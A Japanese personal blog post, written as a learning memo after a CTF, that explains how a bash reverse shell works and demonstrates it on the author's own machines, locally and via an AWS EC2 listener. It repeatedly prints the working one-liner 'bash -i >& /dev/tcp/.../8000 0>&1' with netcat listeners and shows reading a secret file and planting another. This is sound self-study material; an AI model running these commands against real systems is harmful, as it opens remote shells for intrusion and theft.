好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

Reverse Shell (リバースシェル) 入門 & 実践

某CTFの復習していて、"ReverseShellをやる"というwriteupがあったのだけど、具体的なやり方が分からなかったので1から調べてみました。

  • そもそもReverseShellってなに?3行くらいで説明して?(大幅にオーバーした)
  • 最もシンプルなサンプルはどんな感じ?
  • インターネット越しの実践例・揃えるべき環境が知りたい

あたりに応えられる内容になっていればと思います。

リバースシェル(Reverse Shell)とは

What Is a Reverse Shell | Acunetix

↑こちらの記事がとてもわかりやすかったのでおすすめ。

一般的なリモート接続のシナリオは、クライアントがサーバーに接続にいきます。サーバー側は接続をlisten(リッスン)して待ち構えており、来たクライアントからの接続に対して処理をし、レスポンスを返します。
一方、リバースシェル(Reverse Shell)では、この役割が逆になります。
クライアントはサーバーからの接続をlistenして待ち構えており、サーバーに接続に来させます。サーバーから、shellを触らせてあげるような接続を投げさせることができれば、クライアント側からサーバー側の操作が可能になります。

リバースシェル自体は悪意のあるものではなく、リモートサーバーの管理など、正当な目的にも利用できます。ただ、攻撃者にとってもリバースシェルはとても魅力的で、対象サーバの制御を取る目的でもよく利用されます。人気の理由の一つに、Webサーバーではインバウンドの制限を行っていることが多いのに対し、アウトバウンドに関してはあまり制御されていないことが多い事があげられています。(昨今はアウトバウンドもちゃんと制御するのが一般的になりつつあると思いますが)

より詳細な内容、どうしてリバースシェルがよく使われるかなどは上記リンク先を参照。

Reverse Shell Cheet Sheet

ぐぐってみるとたくさん見つかりました。
手っ取り早くいろいろ試してみたい方は上記のサイトを参考にするのが良さそう。
今回は一番上のサイトの一番シンプルそうなやつを見てみます。

Reverse Shell by Bash を分析

bash -i >& /dev/tcp/{my.ip}/{port} 0>&1

Bashコマンドによる Reverse Shell の例です。

  1. bash -i: 対話型のshellを開く
  2. >&: stdout, stderr 両方を、後に続くファイル名にリダイレクト ※1
  3. /dev/tcp/{my.ip}/{port}: >& の引数(リダイレクト先) ※2
  4. 0>&1: fd0(stdin)を fd1(stdout) にリダイレクト。※3

※1: bash manual より

標準出力と標準エラー出力のリダイレクト

この構造を使うと、標準出力(ファイル・ディスクリプター1)と標準エラー出力(ファイル・ディスクリプター2)の両方を、wordを展開した結果の名前を持つファイルにリダイレクトできます。

※2: bash manual によると

リダイレクト

bash は、 以下の表にあるようなファイル名がリダイレクトに使用されると、 それらを特別に扱います。

...(略)

  • /dev/tcp/host/port
    host が有効なホスト名またはインターネットアドレスで port が整数のポート番号ならば、 bash は対応するソケットに対して TCP 接続のオープンを試みます。

ということで、>&の引数としてリダイレクト先がこれに指定されているため、TCPソケットに IO stream がリダイレクトされます。

※3: fd(file descriptor)については下記の通り。

0: 標準入力
1: 標準出力
2: 標準エラー出力
n: 任意の入出力先

0>&1 は標準入力を標準出力にリダイレクトしています。これにより、インタラクティブなサーバ側の操作が可能になります。

local環境でReverseShellを実践してみる

攻撃側をattacker、被害者側をvictimと名付けます。attacker,victim2つの端末を開きます。
今回は、kali linux on VM と、Mac OSX で試してみました。両者とも下記の条件です。

前提条件

  • attacker側は /attacker ディレクトリで操作
  • victim側は /victim ディレクトリで操作
  • secret.txt/victim 配下にのみ存在
  • nc(netcat) がinstallされている

kali linux on vm

まずは、攻撃側で任意の使用していないポートを開き、listen状態で待ちます。

attacker

$ nc -nvlp 8000

f:id:kusuwada:20191029152731p:plain

※上のterminalがattacker, 下がvictimです。

次に、被害者側に下記のコマンドを叩かせます。(実験ではただ自分で叩くだけですが)

victim

$ bash -i >& /dev/tcp/localhost/8000 0>&1

f:id:kusuwada:20191029152751p:plain

すると、攻撃側の端末が /victim ディレクトリに移動したのがわかります。

あとは、attacker側の端末から自由にvictim側が操作できます。今回はsecret.txtを読んだり、mal.txtというのを作成しておいておきました。

attacker

$ ls
$ cat secret.txt
$ touch mal.txt

f:id:kusuwada:20191029152806p:plain

他にも、ファイルを読み出したり実行したりできます。
接続を解除しても、victim側の端末にはmal.txtが残ったままです。

f:id:kusuwada:20191029152824p:plain

基本的な reverse shell の流れが確認できました。

mac osx

最初のattackerのコマンド以外は、linuxと同じです。
まずは、攻撃側で任意の使用していないポートを開き、listen状態で待ちます。

attacker

$ nc -nvl 8000

f:id:kusuwada:20191029152852p:plain

※上のterminalがattacker, 下がvictimです。

次に、被害者側に下記のコマンドを叩かせます。(実験ではただ自分で叩くだけですが)

victim

$ bash -i >& /dev/tcp/localhost/8000 0>&1

f:id:kusuwada:20191029152904p:plain

すると、攻撃側の端末がbashになりました。

あとは、attacker側の端末から自由にvictim側が操作できます。今回はsecret.txtを読んだり、mal.txtというのを作成しておいておきました。

attacker

$ ls
$ cat secret.txt
$ touch mal.txt

f:id:kusuwada:20191029152918p:plain

他にも、ファイルを読み出したり実行したりできます。
接続を解除しても、victim側の端末にはmal.txtが残ったままです。

f:id:kusuwada:20191029152931p:plain

Private IPアドレスを指定して実施してみる

Global IPで試す前に、まず Private IP の指定でも動くのかを確認します。

kali linux on vm

private ipアドレス調査

$ hostname -I
10.0.2.15

attaker

port 8000番で listen して待ちます。

root@kali:~/attaker# ls
root@kali:~/attaker# pwd
/root/attaker
root@kali:~/attaker# nc -nlvp 8000
listening on [any] 8000 ...

victim

8000番にtcpアクセス。

root@kali:~/victim# ls
secret.txt
root@kali:~/victim# pwd
/root/victim
root@kali:~/victim# bash -i >& /dev/tcp/10.0.2.15/8000 0>&1

victim側が接続すると、attacker側の端末に

connect to [10.0.2.15] from (UNKNOWN) [10.0.2.15] 34540

と表示されて接続されたことが確認できます。あとはlocalhost指定のときと同様に

attaker

root@kali:~/victim# pwd
pwd
/root/victim
root@kali:~/victim# ls
ls
secret.txt
root@kali:~/victim# cat secret.txt
cat secret.txt
this is secret text.

secret.txtも表示できました。

mac osx

ipアドレス調査

$ ifconfig en0
en0: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500
    ether *:*:*:*:*:* 
    inet6 *::*:*:*:*%en0 prefixlen 64 secured scopeid 0x9 
    inet 192.168.11.3 netmask 0xffffff00 broadcast 192.168.11.255
    nd6 options=201<PERFORMNUD,DAD>
    media: autoselect
    status: active

ということで、private ipは192.168.11.3のようです。

attacker

$ nc -nvl 8000

victim

$ bash -i >& /dev/tcp/192.168.11.3/8000 0>&1

こちらも上記のように接続してみると、attacker側の端末でvictim側の操作ができました。

$ nc -l 8000
bash-3.2$ ls
secret.txt
bash-3.2$ cat secret.txt
this is secret text.

インターネット越しにReverseShellやってみる

ついにやりたかったことです。

※注意※
自分の管理下にある端末、もしくはCTF環境など特殊な事情で攻撃が許されている環境で実験してください

本当は mac osx で attack側を、他の環境を用意してvictim側をやりたかったのですが、今回は mac osx で victimを、AWSのEC2 instanceでattack側をやってみます。

リバースシェル自体は悪意のあるものではなく、リモートサーバーの管理など、正当な目的にも利用できます。

なので、今回の実験では特に申請などは不要と判断。
一応AWS脆弱性・侵入テストの規約にも目を通しておきました。侵入テストなどをする場合には、NDAを結んでおかないといけないようです。

ペネトレーションテスト(侵入テスト)- AWS セキュリティ|AWS

上記は今後アップデートされる可能性があるので、実験される前に再度利用規約のご確認をお願いします。

AWS EC2 instanceの立ち上げ・設定

AWSのアカウント取得などについては他を参照してください。今回の実験だけだと、無料枠でできるはずです。

AWSコンソールに入ったら、EC2 > インスタンス 画面に遷移します。
何も考えずに インスタンスの作成 -> Amazon Linux 2(無料利用枠の対象 かつ Linux なら何でも) > t2.micro(無料利用枠の対象ならなんでも) を選択肢、 確認と作成 をします。

確認画面では、そのまま何も変更せず起動を選択。もしキーペアを持っていない場合はここで作成しておきます。

起動したら、また インスタンス の画面から起動したinstanceを確認します。

ここで、セキュリティグループの設定をします。今回の実験では、自分のIPアドレスに対してlistenを行いたいので、そこを開けます。

先ほど作成したインスタンスを選択 > セキュリティグループ > 対象のセキュリティグループのリンクをクリック

f:id:kusuwada:20191029153216p:plain

対象のセキュリティグループのインバウンドを見てみると、初期状態ではSSHの22番ポートのみ開いています。ここに自分のIPとの8000番ポート通信を追加します。
編集 > ルールの追加

カスタムTCP,  プロトコル=TCP, ポート範囲=8000, ソース=マイIP(勝手にIPを埋めてくれます)

これで保存します。

これで設定は完了です。次にこのEC2インスタンスSSHログインします。
インスタンス一覧に戻り、対象のインスタンスを選択、「接続」ボタンをクリックすると、なんとssh接続のためのコマンドが出てきます。超便利。いつからこんなの出るようになったんだろう?

f:id:kusuwada:20191029153314p:plain

ssh -i "test_aws_ec2.pem" ec2-user@ec2-3-133-147-245.us-east-2.compute.amazonaws.com

今回の場合は、上記のコマンドを指定されました。sshコマンドで、先ほど作成したキーペアを指定、対象のインスタンスのアドレスとユーザーを指定するだけです。これを、先程のキーペアのあるディレクトリで実施すれば、EC2に接続できます。pemキーの権限設定に注意です。詳細は上記のインスタンスへの接続方法に書いてあります。

こんな感じでWelcome AAが表示されたら接続成功です。

       __|  __|_  )
       _|  (     /   Amazon Linux 2 AMI
      ___|\___|___|

https://aws.amazon.com/amazon-linux-2/
[ec2-user@ip-*-*-*-* ~]$ 

更に、EC2側でもncコマンドを使うのでインストールしておきます。

$ sudo yum install nc

Global IP の調べ方

先程EC2インスタンスを立ち上げる際のSecurityGp設定で出てきましたが、自身のクライアントPCのグローバルIPアドレスは下記のように調べられます。(Linux/Mac共通)

$ curl ifconfig.io

or

$ curl inet-ip.info

EC2側のIPアドレスは、インスタンス情報にも書いてあります。上記でも調べられます。

Reverse Shell (EC2 -> My Mac OSX)

お待ちかね Reverse Shell をやってみます。

attacker (EC2)

8000番ポートを開いて待ち構えます。

[ec2-user@ip-*-*-*-* ~]$ nc -vnlp 8000
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::8000
Ncat: Listening on 0.0.0.0:8000

victim (Mac OSX)

$ bash -i >& /dev/tcp/{ec2.global.ip.address}/8000 0>&1

EC2の方に応答が来ました。つながったようです。

attacker (EC2)

Ncat: Connection from my.ip.address.
Ncat: Connection from my.ip.address:64886.

attacker (EC2)

あとは今まで同様、secret.txtの読み出しやmal.txtを置いていきます。

bash-3.2$ ls
secret.txt
bash-3.2$ cat secret.txt
this is secret text.
bash-3.2$ touch mal.txt

secre.txt読めました。接続終了後にvictim側を確認してみると

victim

$ ls
mal.txt     secret.txt

mal.txtも無事残っています。

f:id:kusuwada:20191029153602p:plain

最後に。今回立てたインスタンスたちは、念の為終了・ないし停止しておきましょう。自分のIPとしか穴を開けていませんが、インスタンスは立ってるだけで攻撃と課金の対象になり得るので。。。

参考リンク